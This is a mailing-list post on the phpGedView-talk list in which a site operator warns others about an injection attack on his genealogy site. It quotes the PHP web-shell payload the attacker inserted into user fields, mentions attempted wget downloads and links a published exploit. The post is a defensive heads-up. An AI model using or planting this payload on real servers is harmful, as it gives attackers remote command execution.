[Phpgedview-talk] attack attempt

[Matthew G. <ma...@po...>]

Hi all,

I had a curious user request on my phpGedView site.  Looks like they're=20
attempting some PHP injection style attack, using PHP code in the email=20
address and other field in the user table, like this:

\';error_reporting(0);if(isset($suntzu))
{system($_GET[suntzu]);die(\'HiMaster!\');}echo\'

=46rom my log files it looks like the attacker was trying to download a lin=
ux=20
binary and a PHP script using wget.  I grabbed the target files and can=20
provide a sample if anyone is interested in trying to un-pick what they do=
=20
(know a good linux dis-assembler?).

Doesn't look like they managed to do anything nasty, probably because wget=
=20
isn't available on my server.  Just a heads up for everyone to keep an eye=
=20
out.  Grep your logs for wget.

I reported the incident to SANS and they said they have seen it and sent me=
=20
this link, which looks like a published version of the exploit:

http://www.milw0rm.com/id.php?id=3D1379

=2E..which claims to affect versions <=3D 3.3.7.  I'm using phpGedView v3.3=
=2E4=20
final, so I think I would have been infected if I had had wget installed. =
=20
Watch yourselves!

I'm guessing we need a patch of some sort.

Regards,
=2D-=20
Matthew